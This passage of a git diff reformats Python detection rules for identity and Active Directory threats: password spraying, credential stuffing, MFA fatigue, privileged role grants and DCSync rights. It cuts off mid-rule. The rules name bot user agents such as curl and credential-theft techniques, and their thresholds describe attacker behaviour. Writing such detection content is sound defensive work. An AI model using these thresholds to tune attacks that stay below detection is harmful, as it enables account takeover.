if comparison_key is not None:
# Through the resolver, not the raw operand picker: the
# operands may also be constrained by other clauses, and a
@@ -504,16 +488,10 @@ def build_negative(
continue
field, op = split_op(key)
by_field.setdefault(field, []).append((op, when[key]))
- neg.update(
- _resolve_comparison(
- comparison_key, not bool(when[comparison_key]), neg, by_field
- )
- )
+ neg.update(_resolve_comparison(comparison_key, not bool(when[comparison_key]), neg, by_field))
return neg
- neq_key = next(
- (k for k in when if split_op(k)[1] == "neq"), None
- )
+ neq_key = next((k for k in when if split_op(k)[1] == "neq"), None)
first_key = neq_key or next(iter(when.keys()))
neg_field, target_op = split_op(first_key)
target_expected = when[first_key]
diff --git a/scripts/detection_specs_part3_identity.py b/scripts/detection_specs_part3_identity.py
index 7411aa675..2ccc6c628 100644
--- a/scripts/detection_specs_part3_identity.py
+++ b/scripts/detection_specs_part3_identity.py
@@ -29,106 +29,281 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]
# Authentication failures / brute force / credential stuffing (25)
# ---------------------------------------------------------------------------
AUTH_RULES: list[dict] = [
- S(slug="ident-password-spray-many-targets", name="Password Spray: Single IP, Many Targets, Few Tries Each",
- severity="high", mitre=["t1110.003"], product="identity", service="auth",
- when={"event_type": "auth_failure", "distinct_users_per_minute_gt": 30, "tries_per_user_lte": 5},
- fp=["VPN concentrator with shared egress"], playbook="tpl-credential-access"),
- S(slug="ident-password-spray-distributed", name="Distributed Password Spray From Many IPs",
- severity="high", mitre=["t1110.003"], product="identity", service="auth",
- when={"event_type": "auth_failure", "distinct_ips_per_user_per_hour_gt": 30},
- fp=["Mobile-app users with rotating cellular IPs"], playbook="tpl-credential-access"),
- S(slug="ident-credstuffing-known-breached-list", name="Credential Stuffing Pattern Against Login Endpoint",
- severity="high", mitre=["t1110.004"], product="identity", service="auth",
- when={"event_type": "auth_failure", "user_agent_in_known_botnet_list": True, "tries_per_minute_gt": 50},
- fp=["Load test (must be ticketed)"], playbook="tpl-credential-access"),
- S(slug="ident-bruteforce-success-after-failures", name="Successful Login After 50+ Recent Failures",
- severity="high", mitre=["t1110.001"], product="identity", service="auth",
- when={"event_type": "auth_success", "user_failures_last_15m_gt": 50},
- fp=["Forgot-password flow", "Helpdesk reset"], playbook="tpl-credential-access"),
- S(slug="ident-impossible-travel-15m", name="Impossible Travel: Two Successful Logins <15m, >1000km",
- severity="high", mitre=["t1078"], product="identity", service="auth",
- when={"event_type": "auth_success", "geo_distance_km_gt": 1000, "minutes_between_lt": 15},
- fp=["Corporate VPN (egress IP changes)", "Mobile-data roaming"], playbook="tpl-credential-access"),
- S(slug="ident-tor-exit-login-success", name="Successful Login From Tor Exit Node",
- severity="high", mitre=["t1090.003"], product="identity", service="auth",
- when={"event_type": "auth_success", "src_ip_tor_exit": True},
- fp=["Privacy-conscious researcher (must be ticketed)"], playbook="tpl-initial-access"),
- S(slug="ident-anon-vpn-login-priv-user", name="Privileged User Login From Anonymising VPN",
- severity="high", mitre=["t1090.003"], product="identity", service="auth",
- when={"event_type": "auth_success", "src_ip_anonymous_vpn": True, "user_priv": True},
- fp=["Approved BYOD-VPN policy"], playbook="tpl-initial-access"),
- S(slug="ident-mfa-fatigue-burst", name="MFA Fatigue Burst Against Single User",
- severity="high", mitre=["t1621"], product="identity", service="auth",
- when={"event_type": "mfa_challenge", "user_challenges_per_minute_gt": 5},
- fp=["Genuine push-loop after device swap"], playbook="tpl-credential-access"),
- S(slug="ident-mfa-deny-then-success", name="User Denied Push Then Approved Within 60s",
- severity="medium", mitre=["t1621"], product="identity", service="auth",
- when={"event_type": "mfa_state_change", "previous_state": "deny", "current_state": "approve", "seconds_between_lt": 60},
- fp=["Misclick on first prompt"], playbook="tpl-credential-access"),
- S(slug="ident-account-locked-many-times", name="Account Locked Out 3+ Times In 1 Hour",
- severity="medium", mitre=["t1110"], product="identity", service="auth",
- when={"event_type": "account_locked", "lockouts_per_hour_gte": 3},
- fp=["Stuck mobile credential", FP_TUNING], playbook="tpl-credential-access"),
- S(slug="ident-disabled-user-auth-attempt", name="Authentication Attempt Against Disabled User",
- severity="high", mitre=["t1078"], product="identity", service="auth",
- when={"event_type": "auth_failure", "result": "user_disabled"},
- fp=["Lingering session token", "Failed deprovision"], playbook="tpl-persistence"),
- S(slug="ident-deleted-user-auth-success", name="Authentication Success For Recently Deleted User",
- severity="critical", mitre=["t1078"], product="identity", service="auth",
- when={"event_type": "auth_success", "user_state": "deleted"},
- fp=[], playbook="tpl-credential-access"),
- S(slug="ident-mfa-bypassed-via-emergency-code", name="MFA Bypass Via Emergency / Backup Code",
- severity="high", mitre=["t1556.006"], product="identity", service="auth",
- when={"event_type": "auth_success", "mfa_factor": "backup_code"},
- fp=[FP_BREAK_GLASS], playbook="tpl-credential-access"),
- S(slug="ident-fido2-key-removed-priv", name="FIDO2 Hardware Key Removed From Privileged User",
- severity="high", mitre=["t1556.006"], product="identity", service="mfa",
- when={"event_type": "factor_remove", "factor_type": "fido2", "user_priv": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="ident-fido2-key-added-then-removed-old", name="FIDO2 Key Added And Old Key Removed In Same Session",
- severity="high", mitre=["t1556.006"], product="identity", service="mfa",
- when={"event_type": "factor_swap", "old_factor_age_days_gt": 30, "session_seconds_lt": 600},
- fp=[FP_BREAK_GLASS], playbook="tpl-persistence"),
- S(slug="ident-totp-secret-revealed", name="TOTP Secret QR-Code Re-Issued Without Old Factor Removal",
- severity="medium", mitre=["t1556"], product="identity", service="mfa",
- when={"event_type": "factor_create", "factor_type": "totp", "old_factor_removed": False},
- fp=["Helpdesk-driven recovery"], playbook="tpl-credential-access"),
- S(slug="ident-static-password-policy-loosened", name="Password Policy Min-Length / Complexity Loosened",
- severity="high", mitre=["t1556"], product="identity", service="policy",
- when={"event_type": "policy_update", "min_length_decreased": True},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-password-policy-history-reduced", name="Password History Length Reduced",
- severity="medium", mitre=["t1556"], product="identity", service="policy",
- when={"event_type": "policy_update", "history_length_decreased": True},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-session-timeout-extended-priv", name="Session Timeout Extended For Privileged Group",
- severity="medium", mitre=["t1556"], product="identity", service="policy",
- when={"event_type": "policy_update", "session_timeout_minutes_increased": True, "scope_priv": True},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-suspicious-user-agent-login", name="Login With Headless / Bot User Agent",
- severity="medium", mitre=["t1078"], product="identity", service="auth",
- when={"event_type": "auth_success", "user_agent_contains_any": ["python-requests", "curl/", "headless", "phantomjs", "selenium"]},
- fp=["Internal API client (must be ticketed)"], playbook="tpl-credential-access"),
- S(slug="ident-login-from-known-asn-ddos", name="Login From ASN Recently Seen In Credential-Stuffing Activity",
- severity="medium", mitre=["t1110.004"], product="identity", service="auth",
- when={"event_type": "auth_success", "src_asn_recent_credstuffing": True},
- fp=["Mobile carrier shared NAT"], playbook="tpl-credential-access"),
- S(slug="ident-new-country-priv-user", name="Privileged User Login From New Country",
- severity="medium", mitre=["t1078"], product="identity", service="auth",
- when={"event_type": "auth_success", "user_priv": True, "country_first_seen_for_user": True},
- fp=["Authorised travel"], playbook="tpl-credential-access"),
- S(slug="ident-rapid-language-change", name="User Login Locale Switched Rapidly",
- severity="low", mitre=["t1078"], product="identity", service="auth",
- when={"event_type": "auth_success", "locale_changes_in_session_gt": 2},
- fp=["Shared/kiosk machine"], playbook="tpl-discovery"),
- S(slug="ident-empty-useragent-login", name="Login With Empty User-Agent",
- severity="medium", mitre=["t1078"], product="identity", service="auth",
- when={"event_type": "auth_success", "user_agent": ""},
- fp=["Custom internal client"], playbook="tpl-credential-access"),
- S(slug="ident-totp-skewed-clock", name="TOTP Verification Repeatedly Skews Clock",
- severity="low", mitre=["t1110"], product="identity", service="mfa",
- when={"event_type": "mfa_challenge", "totp_clock_skew_seconds_gt": 60, "events_per_minute_gt": 5},
- fp=["Phone clock drift"], playbook="tpl-credential-access"),
+ S(
+ slug="ident-password-spray-many-targets",
+ name="Password Spray: Single IP, Many Targets, Few Tries Each",
+ severity="high",
+ mitre=["t1110.003"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_failure", "distinct_users_per_minute_gt": 30, "tries_per_user_lte": 5},
+ fp=["VPN concentrator with shared egress"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-password-spray-distributed",
+ name="Distributed Password Spray From Many IPs",
+ severity="high",
+ mitre=["t1110.003"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_failure", "distinct_ips_per_user_per_hour_gt": 30},
+ fp=["Mobile-app users with rotating cellular IPs"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-credstuffing-known-breached-list",
+ name="Credential Stuffing Pattern Against Login Endpoint",
+ severity="high",
+ mitre=["t1110.004"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_failure", "user_agent_in_known_botnet_list": True, "tries_per_minute_gt": 50},
+ fp=["Load test (must be ticketed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-bruteforce-success-after-failures",
+ name="Successful Login After 50+ Recent Failures",
+ severity="high",
+ mitre=["t1110.001"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "user_failures_last_15m_gt": 50},
+ fp=["Forgot-password flow", "Helpdesk reset"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-impossible-travel-15m",
+ name="Impossible Travel: Two Successful Logins <15m, >1000km",
+ severity="high",
+ mitre=["t1078"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "geo_distance_km_gt": 1000, "minutes_between_lt": 15},
+ fp=["Corporate VPN (egress IP changes)", "Mobile-data roaming"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-tor-exit-login-success",
+ name="Successful Login From Tor Exit Node",
+ severity="high",
+ mitre=["t1090.003"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "src_ip_tor_exit": True},
+ fp=["Privacy-conscious researcher (must be ticketed)"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="ident-anon-vpn-login-priv-user",
+ name="Privileged User Login From Anonymising VPN",
+ severity="high",
+ mitre=["t1090.003"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "src_ip_anonymous_vpn": True, "user_priv": True},
+ fp=["Approved BYOD-VPN policy"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="ident-mfa-fatigue-burst",
+ name="MFA Fatigue Burst Against Single User",
+ severity="high",
+ mitre=["t1621"],
+ product="identity",
+ service="auth",
+ when={"event_type": "mfa_challenge", "user_challenges_per_minute_gt": 5},
+ fp=["Genuine push-loop after device swap"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-mfa-deny-then-success",
+ name="User Denied Push Then Approved Within 60s",
+ severity="medium",
+ mitre=["t1621"],
+ product="identity",
+ service="auth",
+ when={"event_type": "mfa_state_change", "previous_state": "deny", "current_state": "approve", "seconds_between_lt": 60},
+ fp=["Misclick on first prompt"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-account-locked-many-times",
+ name="Account Locked Out 3+ Times In 1 Hour",
+ severity="medium",
+ mitre=["t1110"],
+ product="identity",
+ service="auth",
+ when={"event_type": "account_locked", "lockouts_per_hour_gte": 3},
+ fp=["Stuck mobile credential", FP_TUNING],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-disabled-user-auth-attempt",
+ name="Authentication Attempt Against Disabled User",
+ severity="high",
+ mitre=["t1078"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_failure", "result": "user_disabled"},
+ fp=["Lingering session token", "Failed deprovision"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-deleted-user-auth-success",
+ name="Authentication Success For Recently Deleted User",
+ severity="critical",
+ mitre=["t1078"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "user_state": "deleted"},
+ fp=[],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-mfa-bypassed-via-emergency-code",
+ name="MFA Bypass Via Emergency / Backup Code",
+ severity="high",
+ mitre=["t1556.006"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "mfa_factor": "backup_code"},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-fido2-key-removed-priv",
+ name="FIDO2 Hardware Key Removed From Privileged User",
+ severity="high",
+ mitre=["t1556.006"],
+ product="identity",
+ service="mfa",
+ when={"event_type": "factor_remove", "factor_type": "fido2", "user_priv": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-fido2-key-added-then-removed-old",
+ name="FIDO2 Key Added And Old Key Removed In Same Session",
+ severity="high",
+ mitre=["t1556.006"],
+ product="identity",
+ service="mfa",
+ when={"event_type": "factor_swap", "old_factor_age_days_gt": 30, "session_seconds_lt": 600},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-totp-secret-revealed",
+ name="TOTP Secret QR-Code Re-Issued Without Old Factor Removal",
+ severity="medium",
+ mitre=["t1556"],
+ product="identity",
+ service="mfa",
+ when={"event_type": "factor_create", "factor_type": "totp", "old_factor_removed": False},
+ fp=["Helpdesk-driven recovery"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-static-password-policy-loosened",
+ name="Password Policy Min-Length / Complexity Loosened",
+ severity="high",
+ mitre=["t1556"],
+ product="identity",
+ service="policy",
+ when={"event_type": "policy_update", "min_length_decreased": True},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-password-policy-history-reduced",
+ name="Password History Length Reduced",
+ severity="medium",
+ mitre=["t1556"],
+ product="identity",
+ service="policy",
+ when={"event_type": "policy_update", "history_length_decreased": True},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-session-timeout-extended-priv",
+ name="Session Timeout Extended For Privileged Group",
+ severity="medium",
+ mitre=["t1556"],
+ product="identity",
+ service="policy",
+ when={"event_type": "policy_update", "session_timeout_minutes_increased": True, "scope_priv": True},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-suspicious-user-agent-login",
+ name="Login With Headless / Bot User Agent",
+ severity="medium",
+ mitre=["t1078"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "user_agent_contains_any": ["python-requests", "curl/", "headless", "phantomjs", "selenium"]},
+ fp=["Internal API client (must be ticketed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-login-from-known-asn-ddos",
+ name="Login From ASN Recently Seen In Credential-Stuffing Activity",
+ severity="medium",
+ mitre=["t1110.004"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "src_asn_recent_credstuffing": True},
+ fp=["Mobile carrier shared NAT"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-new-country-priv-user",
+ name="Privileged User Login From New Country",
+ severity="medium",
+ mitre=["t1078"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "user_priv": True, "country_first_seen_for_user": True},
+ fp=["Authorised travel"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-rapid-language-change",
+ name="User Login Locale Switched Rapidly",
+ severity="low",
+ mitre=["t1078"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "locale_changes_in_session_gt": 2},
+ fp=["Shared/kiosk machine"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="ident-empty-useragent-login",
+ name="Login With Empty User-Agent",
+ severity="medium",
+ mitre=["t1078"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "user_agent": ""},
+ fp=["Custom internal client"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-totp-skewed-clock",
+ name="TOTP Verification Repeatedly Skews Clock",
+ severity="low",
+ mitre=["t1110"],
+ product="identity",
+ service="mfa",
+ when={"event_type": "mfa_challenge", "totp_clock_skew_seconds_gt": 60, "events_per_minute_gt": 5},
+ fp=["Phone clock drift"],
+ playbook="tpl-credential-access",
+ ),
]
@@ -136,106 +311,281 @@ AUTH_RULES: list[dict] = [
# Privileged-account events / role assignment / persistence (25)
# ---------------------------------------------------------------------------
PRIV_RULES: list[dict] = [
- S(slug="ident-priv-role-grant-out-of-hours", name="Privileged Role Granted Outside Business Hours",
- severity="high", mitre=["t1078"], product="identity", service="audit",
- when={"event_type": "role_grant", "role_priv": True, "is_business_hours": False},
- fp=[FP_BREAK_GLASS, "On-call rotation"], playbook="tpl-privilege-escalation"),
- S(slug="ident-self-grant-priv-role", name="User Granted Privileged Role To Themselves",
- severity="critical", mitre=["t1098"], product="identity", service="audit",
- when={"event_type": "role_grant", "role_priv": True, "actor_eq_target": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-privilege-escalation"),
- S(slug="ident-priv-role-grant-to-svc-account", name="Privileged Role Granted To Service Account",
- severity="high", mitre=["t1078.004"], product="identity", service="audit",
- when={"event_type": "role_grant", "role_priv": True, "target_user_type": "service_account"},
- fp=["IaC pipeline"], playbook="tpl-privilege-escalation"),
- S(slug="ident-pim-activation-self-approval", name="JIT/PIM Privileged Activation Self-Approved",
- severity="high", mitre=["t1078"], product="identity", service="pim",
- when={"event_type": "pim_activation", "approver_eq_actor": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-privilege-escalation"),
- S(slug="ident-pim-activation-anomalous-time", name="JIT/PIM Activation At Unusual Hour For User",
- severity="medium", mitre=["t1078"], product="identity", service="pim",
- when={"event_type": "pim_activation", "hour_unusual_for_user": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-privilege-escalation"),
- S(slug="ident-priv-role-burst-granted", name="Privileged Role Grant Burst Across Many Users",
- severity="high", mitre=["t1098"], product="identity", service="audit",
- when={"event_type": "role_grant", "role_priv": True, "events_per_minute_gt": 10},
- fp=["Bulk reorg (must be ticketed)"], playbook="tpl-privilege-escalation"),
- S(slug="ident-svc-account-interactive-login", name="Service Account Used For Interactive Login",
- severity="high", mitre=["t1078.004"], product="identity", service="auth",
- when={"event_type": "auth_success", "user_type": "service_account", "is_interactive": True},
- fp=["Approved automation runner using human UI"], playbook="tpl-credential-access"),
- S(slug="ident-svc-account-mfa-skipped", name="Service Account Login Without MFA In Region That Requires It",
- severity="medium", mitre=["t1078.004"], product="identity", service="auth",
- when={"event_type": "auth_success", "user_type": "service_account", "mfa_used": False, "policy_requires_mfa": True},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-onboard-priv-roles-immediate", name="New User Granted Privileged Role <24h After Creation",
- severity="high", mitre=["t1098"], product="identity", service="audit",
- when={"event_type": "role_grant", "role_priv": True, "user_age_minutes_lt": 1440},
- fp=[FP_ONBOARD], playbook="tpl-privilege-escalation"),
- S(slug="ident-app-impersonation-priv", name="OAuth App Acting As Privileged User",
- severity="high", mitre=["t1528"], product="identity", service="oauth",
- when={"event_type": "oauth_action", "act_as_user_priv": True, "scope_contains_any": ["full_access", "admin", "*.write"]},
- fp=["Approved IaaS automation"], playbook="tpl-credential-access"),
- S(slug="ident-priv-role-removed-bulk", name="Privileged Role Removed From Many Users In Burst",
- severity="medium", mitre=["t1531"], product="identity", service="audit",
- when={"event_type": "role_revoke", "role_priv": True, "events_per_minute_gt": 10},
- fp=["Approved cleanup project"], playbook="tpl-impact"),
- S(slug="ident-orphan-svc-acct-many-keys", name="Service Account With 5+ Active API Keys",
- severity="medium", mitre=["t1098.001"], product="identity", service="audit",
- when={"event_type": "key_inventory", "active_keys_per_account_gt": 5},
- fp=[FP_AUTOMATION], playbook="tpl-credential-access"),
- S(slug="ident-svc-account-key-from-non-pipeline", name="Service Account Key Used From Non-Pipeline IP",
- severity="high", mitre=["t1078.004"], product="identity", service="auth",
- when={"event_type": "auth_success", "user_type": "service_account", "src_in_pipeline_cidr": False},
- fp=["Approved migration"], playbook="tpl-credential-access"),
- S(slug="ident-domain-admin-added", name="Domain Admin Group Membership Added (AD)",
- severity="critical", mitre=["t1098.007"], product="active-directory", service="audit",
- when={"event_id": 4728, "group_name_in": ["Domain Admins", "Enterprise Admins", "Schema Admins"]},
- fp=[FP_BREAK_GLASS], playbook="tpl-privilege-escalation"),
- S(slug="ident-ad-acl-sensitive-changed", name="ACL On Sensitive AD Object Modified",
- severity="high", mitre=["t1484.002"], product="active-directory", service="audit",
- when={"event_id": 4670, "object_class_in": ["domainDNS", "groupPolicyContainer"]},
- fp=["Approved AD reorg"], playbook="tpl-privilege-escalation"),
- S(slug="ident-ad-dcsync-rights-granted", name="DCSync Rights Granted Outside Domain Controllers",
- severity="critical", mitre=["t1003.006"], product="active-directory", service="audit",
- when={"event_id": 5136, "rights_added_contains_any": ["DS-Replication-Get-Changes", "DS-Replication-Get-Changes-All"]},
- fp=["Approved Azure AD Connect / sync engine"], playbook="tpl-credential-access"),
- S(slug="ident-ad-gpo-modified-priv", name="Privileged GPO Modified",
- severity="high", mitre=["t1484.001"], product="active-directory", service="audit",
- when={"event_id": 5136, "gpo_link_priv": True},
- fp=["Approved GPO refactor"], playbook="tpl-defense-evasion"),
- S(slug="ident-ad-trust-modified", name="AD Domain Trust Modified",
- severity="critical", mitre=["t1484.002"], product="active-directory", service="audit",
- when={"event_id_in": [4716, 4865, 4867]},
- fp=["Approved forest merger"], playbook="tpl-privilege-escalation"),
- S(slug="ident-ad-userauth-anonymous-named-pipe", name="AD Anonymous Logon Allowed Via Null Session",
- severity="high", mitre=["t1078.001"], product="active-directory", service="auth",
- when={"event_id": 4624, "logon_type": 3, "user_name": "ANONYMOUS LOGON"},
- fp=["Legacy app (must be ticketed)"], playbook="tpl-initial-access"),
- S(slug="ident-ad-pwd-not-required", name="AD Account Set With PASSWD_NOTREQD",
- severity="high", mitre=["t1098"], product="active-directory", service="audit",
- when={"event_id": 4738, "useraccountcontrol_flag_passwd_notreqd": True},
- fp=[FP_TUNING], playbook="tpl-credential-access"),
- S(slug="ident-ad-pwd-never-expires-priv", name="Privileged AD Account Set With DONT_EXPIRE_PASSWORD",
- severity="medium", mitre=["t1098"], product="active-directory", service="audit",
- when={"event_id": 4738, "useraccountcontrol_flag_dont_expire": True, "user_priv": True},
- fp=["Service account by design"], playbook="tpl-credential-access"),
- S(slug="ident-ad-machine-account-quota-abuse", name="Machine Account Quota Exhausted By Single User",
- severity="high", mitre=["t1136.001"], product="active-directory", service="audit",
- when={"event_id": 4741, "machines_created_per_user_per_day_gt": 5},
- fp=["Approved imaging pipeline"], playbook="tpl-persistence"),
- S(slug="ident-ad-protected-users-removed", name="User Removed From Protected Users Group",
- severity="high", mitre=["t1556"], product="active-directory", service="audit",
- when={"event_id": 4729, "group_name": "Protected Users"},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="ident-ad-sidhistory-modified", name="AD sIDHistory Attribute Modified",
- severity="high", mitre=["t1078.002"], product="active-directory", service="audit",
- when={"event_id": 4738, "attribute_modified": "sIDHistory"},
- fp=["Approved domain migration"], playbook="tpl-privilege-escalation"),
- S(slug="ident-ad-userlogon-disabled-account", name="Disabled AD Account Authenticated Successfully",
- severity="high", mitre=["t1078.002"], product="active-directory", service="auth",
- when={"event_id": 4624, "account_disabled": True},
- fp=["Stale ticket cache"], playbook="tpl-initial-access"),
+ S(
+ slug="ident-priv-role-grant-out-of-hours",
+ name="Privileged Role Granted Outside Business Hours",
+ severity="high",
+ mitre=["t1078"],
+ product="identity",
+ service="audit",
+ when={"event_type": "role_grant", "role_priv": True, "is_business_hours": False},
+ fp=[FP_BREAK_GLASS, "On-call rotation"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-self-grant-priv-role",
+ name="User Granted Privileged Role To Themselves",
+ severity="critical",
+ mitre=["t1098"],
+ product="identity",
+ service="audit",
+ when={"event_type": "role_grant", "role_priv": True, "actor_eq_target": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-priv-role-grant-to-svc-account",
+ name="Privileged Role Granted To Service Account",
+ severity="high",
+ mitre=["t1078.004"],
+ product="identity",
+ service="audit",
+ when={"event_type": "role_grant", "role_priv": True, "target_user_type": "service_account"},
+ fp=["IaC pipeline"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-pim-activation-self-approval",
+ name="JIT/PIM Privileged Activation Self-Approved",
+ severity="high",
+ mitre=["t1078"],
+ product="identity",
+ service="pim",
+ when={"event_type": "pim_activation", "approver_eq_actor": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-pim-activation-anomalous-time",
+ name="JIT/PIM Activation At Unusual Hour For User",
+ severity="medium",
+ mitre=["t1078"],
+ product="identity",
+ service="pim",
+ when={"event_type": "pim_activation", "hour_unusual_for_user": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-priv-role-burst-granted",
+ name="Privileged Role Grant Burst Across Many Users",
+ severity="high",
+ mitre=["t1098"],
+ product="identity",
+ service="audit",
+ when={"event_type": "role_grant", "role_priv": True, "events_per_minute_gt": 10},
+ fp=["Bulk reorg (must be ticketed)"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-svc-account-interactive-login",
+ name="Service Account Used For Interactive Login",
+ severity="high",
+ mitre=["t1078.004"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "user_type": "service_account", "is_interactive": True},
+ fp=["Approved automation runner using human UI"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-svc-account-mfa-skipped",
+ name="Service Account Login Without MFA In Region That Requires It",
+ severity="medium",
+ mitre=["t1078.004"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "user_type": "service_account", "mfa_used": False, "policy_requires_mfa": True},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-onboard-priv-roles-immediate",
+ name="New User Granted Privileged Role <24h After Creation",
+ severity="high",
+ mitre=["t1098"],
+ product="identity",
+ service="audit",
+ when={"event_type": "role_grant", "role_priv": True, "user_age_minutes_lt": 1440},
+ fp=[FP_ONBOARD],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-app-impersonation-priv",
+ name="OAuth App Acting As Privileged User",
+ severity="high",
+ mitre=["t1528"],
+ product="identity",
+ service="oauth",
+ when={"event_type": "oauth_action", "act_as_user_priv": True, "scope_contains_any": ["full_access", "admin", "*.write"]},
+ fp=["Approved IaaS automation"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-priv-role-removed-bulk",
+ name="Privileged Role Removed From Many Users In Burst",
+ severity="medium",
+ mitre=["t1531"],
+ product="identity",
+ service="audit",
+ when={"event_type": "role_revoke", "role_priv": True, "events_per_minute_gt": 10},
+ fp=["Approved cleanup project"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="ident-orphan-svc-acct-many-keys",
+ name="Service Account With 5+ Active API Keys",
+ severity="medium",
+ mitre=["t1098.001"],
+ product="identity",
+ service="audit",
+ when={"event_type": "key_inventory", "active_keys_per_account_gt": 5},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-svc-account-key-from-non-pipeline",
+ name="Service Account Key Used From Non-Pipeline IP",
+ severity="high",
+ mitre=["t1078.004"],
+ product="identity",
+ service="auth",
+ when={"event_type": "auth_success", "user_type": "service_account", "src_in_pipeline_cidr": False},
+ fp=["Approved migration"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-domain-admin-added",
+ name="Domain Admin Group Membership Added (AD)",
+ severity="critical",
+ mitre=["t1098.007"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 4728, "group_name_in": ["Domain Admins", "Enterprise Admins", "Schema Admins"]},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-ad-acl-sensitive-changed",
+ name="ACL On Sensitive AD Object Modified",
+ severity="high",
+ mitre=["t1484.002"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 4670, "object_class_in": ["domainDNS", "groupPolicyContainer"]},
+ fp=["Approved AD reorg"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-ad-dcsync-rights-granted",
+ name="DCSync Rights Granted Outside Domain Controllers",
+ severity="critical",
+ mitre=["t1003.006"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 5136, "rights_added_contains_any": ["DS-Replication-Get-Changes", "DS-Replication-Get-Changes-All"]},
+ fp=["Approved Azure AD Connect / sync engine"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-ad-gpo-modified-priv",
+ name="Privileged GPO Modified",
+ severity="high",
+ mitre=["t1484.001"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 5136, "gpo_link_priv": True},
+ fp=["Approved GPO refactor"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-ad-trust-modified",
+ name="AD Domain Trust Modified",
+ severity="critical",
+ mitre=["t1484.002"],
+ product="active-directory",
+ service="audit",
+ when={"event_id_in": [4716, 4865, 4867]},
+ fp=["Approved forest merger"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-ad-userauth-anonymous-named-pipe",
+ name="AD Anonymous Logon Allowed Via Null Session",
+ severity="high",
+ mitre=["t1078.001"],
+ product="active-directory",
+ service="auth",
